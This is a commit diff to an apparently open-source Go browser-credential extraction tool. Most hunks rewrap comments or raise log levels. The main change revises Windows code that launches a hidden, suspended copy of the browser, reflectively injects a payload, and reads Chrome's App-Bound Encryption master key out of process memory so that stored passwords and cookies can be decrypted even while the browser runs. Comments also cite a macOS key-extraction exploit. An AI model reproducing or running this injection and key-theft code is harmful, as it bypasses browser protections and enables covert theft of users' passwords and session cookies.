fix: retrieve correct ABE master key when browser is running (#577)

* fix(windows): retrieve correct ABE master key when browser is running

CLAUDE.md

@@ -63,6 +63,7 @@ make payload-clean   # rm crypto/*.bin
 - **Error handling**: `fmt.Errorf("context: %w", err)` for wrapping, never `_ =` to ignore errors
 - **Logging**: `log.Debugf` for record-level diagnostics, `log.Infof` for user-facing progress/status, `log.Warnf` for unexpected conditions. Extract methods should return errors, not log them.
 - **Naming**: follow Go conventions — `Config` not `BrowserConfig`, `Extract` not `BrowsingData`
+- **Comment width**: wrap comments at 120 columns (matches `.golangci.yml` `lll.line-length`)
 - **Tests**: use `t.TempDir()` for filesystem tests, `go-sqlmock` for database tests
 - **Architecture**: see `rfcs/` for design documents
 

browser/chromium/decrypt.go

@@ -6,9 +6,8 @@ import (
 	"github.com/moond4rk/hackbrowserdata/crypto"
 )
 
-// decryptValue decrypts a Chromium-encrypted value using the master key.
-// It detects the cipher version from the ciphertext prefix and routes
-// to the appropriate decryption function.
+// decryptValue decrypts a Chromium-encrypted value using the master key. It detects the cipher version
+// from the ciphertext prefix and routes to the appropriate decryption function.
 func decryptValue(masterKey, ciphertext []byte) ([]byte, error) {
 	if len(ciphertext) == 0 {
 		return nil, nil
@@ -20,8 +19,8 @@ func decryptValue(masterKey, ciphertext []byte) ([]byte, error) {
 		// v11 is Linux-only and shares v10's AES-CBC path; only the key source differs.
 		return crypto.DecryptChromium(masterKey, ciphertext)
 	case crypto.CipherV20:
-		// v20 is cross-platform AES-GCM; routed through a dedicated function so
-		// Linux/macOS CI can exercise the same decryption path as Windows.
+		// v20 is cross-platform AES-GCM; routed through a dedicated function so Linux/macOS CI can
+		// exercise the same decryption path as Windows.
 		return crypto.DecryptChromiumV20(masterKey, ciphertext)
 	case crypto.CipherDPAPI:
 		return crypto.DecryptDPAPI(ciphertext)

browser/chromium/extract_cookie.go

@@ -59,7 +59,7 @@ func extractCookies(masterKey []byte, path string) ([]types.CookieEntry, error)
 		return nil, err
 	}
 	if decryptFails > 0 {
-		log.Debugf("decrypt cookies: %d failed: %v", decryptFails, lastErr)
+		log.Warnf("cookies: total=%d decrypt_failed=%d last_err=%v", len(cookies), decryptFails, lastErr)
 	}
 
 	sort.Slice(cookies, func(i, j int) bool {
@@ -72,11 +72,10 @@ func countCookies(path string) (int, error) {
 	return sqliteutil.CountRows(path, false, countCookieQuery)
 }
 
-// stripCookieHash removes the SHA256(host_key) prefix from a decrypted cookie value.
-// Chrome 130+ (Cookie DB schema version 24) prepends SHA256(domain) to the cookie
-// value before encryption to prevent cross-domain cookie replay attacks.
-// If the first 32 bytes don't match SHA256(hostKey), the value is returned unchanged,
-// which handles both older Chrome versions and tampered data.
+// stripCookieHash removes the SHA256(host_key) prefix from a decrypted cookie value. Chrome 130+
+// (Cookie DB schema version 24) prepends SHA256(domain) to the cookie value before encryption to
+// prevent cross-domain cookie replay attacks. If the first 32 bytes don't match SHA256(hostKey), the
+// value is returned unchanged, which handles both older Chrome versions and tampered data.
 func stripCookieHash(value []byte, hostKey string) []byte {
 	if len(value) < sha256.Size {
 		return value

browser/chromium/extract_password.go

@@ -45,7 +45,7 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo
 		return nil, err
 	}
 	if decryptFails > 0 {
-		log.Debugf("decrypt passwords: %d failed: %v", decryptFails, lastErr)
+		log.Warnf("passwords: total=%d decrypt_failed=%d last_err=%v", len(logins), decryptFails, lastErr)
 	}
 
 	sort.Slice(logins, func(i, j int) bool {
@@ -54,8 +54,8 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo
 	return logins, nil
 }
 
-// extractYandexPasswords extracts passwords from Yandex's Ya Passman Data,
-// which stores the URL in action_url instead of origin_url.
+// extractYandexPasswords extracts passwords from Yandex's Ya Passman Data, which stores the URL in
+// action_url instead of origin_url.
 func extractYandexPasswords(masterKey []byte, path string) ([]types.LoginEntry, error) {
 	const yandexLoginQuery = `SELECT action_url, username_value, password_value, date_created FROM logins`
 	return extractPasswordsWithQuery(masterKey, path, yandexLoginQuery)

crypto/keyretriever/abe_windows.go

@@ -26,12 +26,19 @@ var errNoABEKey = errors.New("abe: Local State has no app_bound_encrypted_key")
 type ABERetriever struct{}
 
 func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, error) {
+	// Non-ABE Chromium forks (Opera/Vivaldi/Yandex/...) call this with an empty storage key; pre-v20
+	// Chrome profiles have no app_bound_encrypted_key in Local State. Both are "ABE not applicable" —
+	// return (nil, nil) so ChainRetriever falls through to DPAPI silently instead of emitting a Warnf
+	// for every non-ABE browser.
 	browserKey := strings.TrimSpace(storage)
 	if browserKey == "" {
-		return nil, fmt.Errorf("abe: empty browser key in storage parameter")
+		return nil, nil
 	}
 
 	encKey, err := loadEncryptedKey(localStatePath)
+	if errors.Is(err, errNoABEKey) {
+		return nil, nil
+	}
 	if err != nil {
 		return nil, err
 	}

crypto/keyretriever/keyretriever.go

@@ -1,26 +1,27 @@
-// Package keyretriever owns the master-key acquisition chain shared by all
-// Chromium variants (Chrome, Edge, Brave, Arc, Opera, Vivaldi, Yandex, …).
-// The chain is built once per process and reused for every profile.
+// Package keyretriever owns the master-key acquisition chain shared by all Chromium variants (Chrome,
+// Edge, Brave, Arc, Opera, Vivaldi, Yandex, …). The chain is built once per process and reused for
+// every profile.
 //
-// Firefox and Safari do not route through this package — Firefox derives
-// its own keys from key4.db via NSS PBE, and Safari reads InternetPassword
-// records directly from login.keychain-db. Each browser package owns its
-// own credential-acquisition strategy; see rfcs/006-key-retrieval-mechanisms.md
-// §7 for the rationale.
+// Firefox and Safari do not route through this package — Firefox derives its own keys from key4.db via
+// NSS PBE, and Safari reads InternetPassword records directly from login.keychain-db. Each browser
+// package owns its own credential-acquisition strategy; see rfcs/006-key-retrieval-mechanisms.md §7 for
+// the rationale.
 package keyretriever
 
 import (
 	"errors"
 	"fmt"
+
+	"github.com/moond4rk/hackbrowserdata/log"
 )
 
-// errStorageNotFound is returned when the requested browser storage
-// account is not found in the credential store (keychain, keyring, etc.).
-// Only used on darwin and linux; Windows uses DPAPI which has no storage lookup.
+// errStorageNotFound is returned when the requested browser storage account is not found in the
+// credential store (keychain, keyring, etc.). Only used on darwin and linux; Windows uses DPAPI which
+// has no storage lookup.
 var errStorageNotFound = errors.New("not found in credential store") //nolint:unused // only used on darwin and linux
 
-// KeyRetriever retrieves the master encryption key for a Chromium-based browser.
-// Each platform has different implementations:
+// KeyRetriever retrieves the master encryption key for a Chromium-based browser. Each platform has
+// different implementations:
 //   - macOS: Keychain access (security command) or gcoredump exploit
 //   - Windows: DPAPI decryption of Local State file
 //   - Linux: D-Bus Secret Service or fallback to "peanuts" password
@@ -28,8 +29,8 @@ type KeyRetriever interface {
 	RetrieveKey(storage, localStatePath string) ([]byte, error)
 }
 
-// ChainRetriever tries multiple retrievers in order, returning the first success.
-// Used on macOS (gcoredump → password → security) and Linux (D-Bus → peanuts).
+// ChainRetriever tries multiple retrievers in order, returning the first success. Used on macOS
+// (gcoredump → password → security) and Linux (D-Bus → peanuts).
 type ChainRetriever struct {
 	retrievers []KeyRetriever
 }
@@ -47,6 +48,7 @@ func (c *ChainRetriever) RetrieveKey(storage, localStatePath string) ([]byte, er
 			return key, nil
 		}
 		if err != nil {
+			log.Warnf("keyretriever %T failed: %v", r, err)
 			errs = append(errs, fmt.Errorf("%T: %w", r, err))
 		}
 	}

utils/injector/reflective_windows.go

@@ -47,10 +47,11 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
 	restore := setEnvTemporarily(env)
 	defer restore()
 
-	pi, err := spawnSuspended(exePath)
+	pi, udd, err := spawnSuspended(exePath)
 	if err != nil {
 		return nil, err
 	}
+	defer os.RemoveAll(udd)
 	defer windows.CloseHandle(pi.Process)
 	defer windows.CloseHandle(pi.Thread)
 
@@ -67,9 +68,9 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
 		return nil, err
 	}
 
-	// Resume briefly so ntdll loader init completes before we hijack a thread;
-	// Bootstrap itself is self-contained but the later elevation_service COM
-	// call inside the payload relies on a fully-initialized PEB.
+	// Resume briefly so ntdll loader init completes before we hijack a thread; Bootstrap itself is
+	// self-contained but the later elevation_service COM call inside the payload relies on a
+	// fully-initialized PEB.
 	_, _ = windows.ResumeThread(pi.Thread)
 	time.Sleep(500 * time.Millisecond)
 
@@ -97,9 +98,8 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
 	return result.Key, nil
 }
 
-// scratchResult is the structured view of the 12-byte diagnostic header
-// (marker..com_err) plus the optional 32-byte master key the payload
-// publishes back into the remote process's scratch region.
+// scratchResult is the structured view of the 12-byte diagnostic header (marker..com_err) plus the
+// optional 32-byte master key the payload publishes back into the remote process's scratch region.
 type scratchResult struct {
 	Marker  byte
 	Status  byte
@@ -131,22 +131,64 @@ func validateAndLocateLoader(payload []byte) (uint32, error) {
 	return off, nil
 }
 
-func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
+// buildIsolatedCommandLine builds the command-line for a spawned, singleton-isolated Chromium process.
+// Two upstream Chromium switches:
+//   - --user-data-dir=<temp>: escape the running browser's ProcessSingleton mutex so the suspended
+//     child survives past main() long enough for the remote Bootstrap thread to complete (issue #576).
+//   - --no-startup-window: suppress the brief UI splash that Edge/Brave/CocCoc paint despite
+//     STARTF_USESHOWWINDOW+SW_HIDE (which Chrome honors but brand-forked startup code often ignores).
+//
+// Adding other flags (--disable-extensions, --disable-gpu, ...) has destabilized Brave in the past
+// (payload dies inside DllMain with marker=0x0b); both switches here are upstream-official and safe.
+func buildIsolatedCommandLine(exePath, udd string) string {
+	// %q would Go-escape backslashes (C:\foo → C:\\foo); Windows CommandLineToArgvW then keeps them
+	// as literal double backslashes in argv. Raw literal quotes match Windows command-line rules.
+	//nolint:gocritic // sprintfQuotedString: %q is wrong for Windows command-line escaping, see above.
+	return fmt.Sprintf(`"%s" --user-data-dir="%s" --no-startup-window`, exePath, udd)
+}
+
+// spawnSuspended launches exePath in a fully isolated suspended state. A unique --user-data-dir is
+// passed so the spawned chrome.exe does not collide with any already-running Chrome instance's
+// ProcessSingleton (which would call ExitProcess as soon as main() runs, killing our remote Bootstrap
+// thread before it can publish the master key). The temp UDD is returned so the caller can remove it
+// after injection.
+func spawnSuspended(exePath string) (*windows.ProcessInformation, string, error) {
+	udd, err := os.MkdirTemp("", "hbd-inj-udd-*")
+	if err != nil {
+		return nil, "", fmt.Errorf("injector: make temp user-data-dir: %w", err)
+	}
+
+	cmdLine := buildIsolatedCommandLine(exePath, udd)
+	cmdPtr, err := syscall.UTF16PtrFromString(cmdLine)
+	if err != nil {
+		_ = os.RemoveAll(udd)
+		return nil, "", fmt.Errorf("injector: command line: %w", err)
+	}
 	exePtr, err := syscall.UTF16PtrFromString(exePath)
 	if err != nil {
-		return nil, fmt.Errorf("injector: exe path: %w", err)
+		_ = os.RemoveAll(udd)
+		return nil, "", fmt.Errorf("injector: exe path: %w", err)
+	}
+	// STARTF_USESHOWWINDOW + SW_HIDE asks the child to honor our ShowWindow value on its first
+	// CreateWindow/ShowWindow call — a standard way to suppress the brief Chrome splash window that
+	// otherwise flashes because the UDD bypass makes the injected process proceed to the "I am the
+	// primary instance" branch and start painting UI before we TerminateProcess it.
+	si := &windows.StartupInfo{
+		Flags:      windows.STARTF_USESHOWWINDOW,
+		ShowWindow: windows.SW_HIDE,
 	}
-	si := &windows.StartupInfo{}
 	pi := &windows.ProcessInformation{}
-	if err := windows.CreateProcess(
-		exePtr, nil, nil, nil,
+	err = windows.CreateProcess(
+		exePtr, cmdPtr, nil, nil,
 		false,
 		windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW,
 		nil, nil, si, pi,
-	); err != nil {
-		return nil, fmt.Errorf("injector: CreateProcess: %w", err)
+	)
+	if err != nil {
+		_ = os.RemoveAll(udd)
+		return nil, "", fmt.Errorf("injector: CreateProcess: %w", err)
 	}
-	return pi, nil
+	return pi, udd, nil
 }
 
 func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
@@ -191,13 +233,12 @@ func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait
 	}
 }
 
-// readScratch pulls the payload's diagnostic header and (on success) the
-// master key out of the target process's scratch region. A non-nil error
-// means our own ReadProcessMemory call failed (distinct from the payload
-// reporting a structured failure via result.Status/ErrCode/HResult).
+// readScratch pulls the payload's diagnostic header and (on success) the master key out of the target
+// process's scratch region. A non-nil error means our own ReadProcessMemory call failed (distinct from
+// the payload reporting a structured failure via result.Status/ErrCode/HResult).
 func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error) {
-	// hdr covers offsets 0x28..0x33: marker, status, extract_err_code,
-	// _reserved, hresult (LE u32), com_err (LE u32).
+	// hdr covers offsets 0x28..0x33: marker, status, extract_err_code, _reserved, hresult (LE u32),
+	// com_err (LE u32).
 	var hdr [12]byte
 	var n uintptr
 	if err := windows.ReadProcessMemory(proc,
@@ -232,10 +273,9 @@ func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error)
 	return result, nil
 }
 
-// patchPreresolvedImports writes five pre-resolved Win32 function pointers
-// into the payload's DOS stub so Bootstrap skips PEB.Ldr traversal entirely.
-// Validity relies on KnownDlls + session-consistent ASLR (kernel32 and ntdll
-// share the same virtual address across processes in one boot session).
+// patchPreresolvedImports writes five pre-resolved Win32 function pointers into the payload's DOS stub
+// so Bootstrap skips PEB.Ldr traversal entirely. Validity relies on KnownDlls + session-consistent
+// ASLR (kernel32 and ntdll share the same virtual address across processes in one boot session).
 func patchPreresolvedImports(payload []byte) ([]byte, error) {
 	if len(payload) < bootstrap.ImpNtFlushICOffset+8 {
 		return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
@@ -267,8 +307,8 @@ func patchPreresolvedImports(payload []byte) ([]byte, error) {
 	return patched, nil
 }
 
-// setEnvTemporarily mutates the current process's env; NOT concurrency-safe.
-// Callers must serialize Inject calls.
+// setEnvTemporarily mutates the current process's env; NOT concurrency-safe. Callers must serialize
+// Inject calls.
 func setEnvTemporarily(env map[string]string) func() {
 	if len(env) == 0 {
 		return func() {}